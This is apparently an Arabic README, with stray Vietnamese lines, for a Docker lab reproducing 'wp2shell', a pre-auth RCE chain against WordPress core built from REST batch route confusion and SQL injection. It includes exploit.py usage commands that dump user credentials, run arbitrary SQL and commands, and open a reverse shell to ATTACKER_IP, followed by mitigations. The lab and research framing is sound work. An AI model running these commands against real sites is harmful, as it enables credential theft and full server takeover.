
ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في نواة ووردبريس — التباس المسار + حقن SQL متسلسلان لتنفيذ أوامر عن بُعد
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| الاسم المستعار | wp2shell |
| نوع الثغرة | التباس مسار REST API ← حقن SQL ← تنفيذ أوامر عن بُعد |
| الخطورة | حرجة — CVSS 10.0 |
| الإصدارات المتأثرة | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| أُصلحت في | WordPress 6.8.6, 6.9.5, 7.0.2 |
| المصادقة المطلوبة | لا شيء (قبل المصادقة) |
wp2shell هو الاسم لسلسلة الاستغلال التي تجمع ثغرتين في نواة ووردبريس:
/wp-json/batch/v1) تعاني من انزياح الفهرس بين المصفوفتين $matches[] و $validation[] عندما يحتوي الطلب الفرعي على مسار خاطئ، مما يجعل الطلب الفرعي التالي يُنفَّذ تحت معالج خاطئ → تجاوز التحقق من مخطط REST API.WP_Query::get_posts() لا يعقّم المعامل author__not_in عندما يستقبله كسلسلة نصية بدلاً من مصفوفة → حقن SQL خام.تشكّل الثغرتان معًا سلسلة استغلال كامل قبل المصادقة (Pre-Auth RCE) — من صفر بيانات اعتماد إلى شل على الخادم عبر طلب HTTP فقط.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
اقرأ التحليل الفني الكامل في REPORT.md
يستخدم المختبر Docker Compose مع 3 حاويات:
setup.sh)cd wp2shell-lab
bash setup.sh
يقوم السكريبت تلقائيًا:
عند الاكتمال ستظهر رسالة "WP2Shell Lab — READY!" مع معلومات تسجيل الدخول.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
تمت إعادة كتابة سكريبت PoC من الصفر، بالاستناد إلى Icex0/wp2shell-poc. يستخدم مكتبة Python 3 القياسية فقط، دون الحاجة لتثبيت أي تبعيات إضافية.
| الشرط | المتطلب |
|---|---|
| إصدار ووردبريس | 6.9.0–6.9.4 أو 7.0.0–7.0.1 |
| نقطة نهاية REST API الدفعية | يمكن الوصول إليه (مفعّل افتراضيًا) |
| المصادقة | غير مطلوبة |
| الشبكة | يستطيع المهاجم الوصول إلى ووردبريس |
add_filter('rest_batch_disabled', '__return_true'); إلى functions.php./wp-json/batch/v1 التي تحتوي على كلمات SQL المفتاحية.أُنشئ هذا المستودع لأغراض البحث والتعلم وCTF داخل بيئة مختبر خاضعة للتحكم. لا تستخدمه لمهاجمة أنظمة حقيقية. أي استغلال غير مصرح به يُعد مخالفة قانونية.
| الحاوية |
|---|
| الصورة |
|---|
| المنفذ |
|---|
| WordPress (قابل للاستغلال) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | داخلي |
| phpMyAdmin | phpmyadmin:latest | 8081 |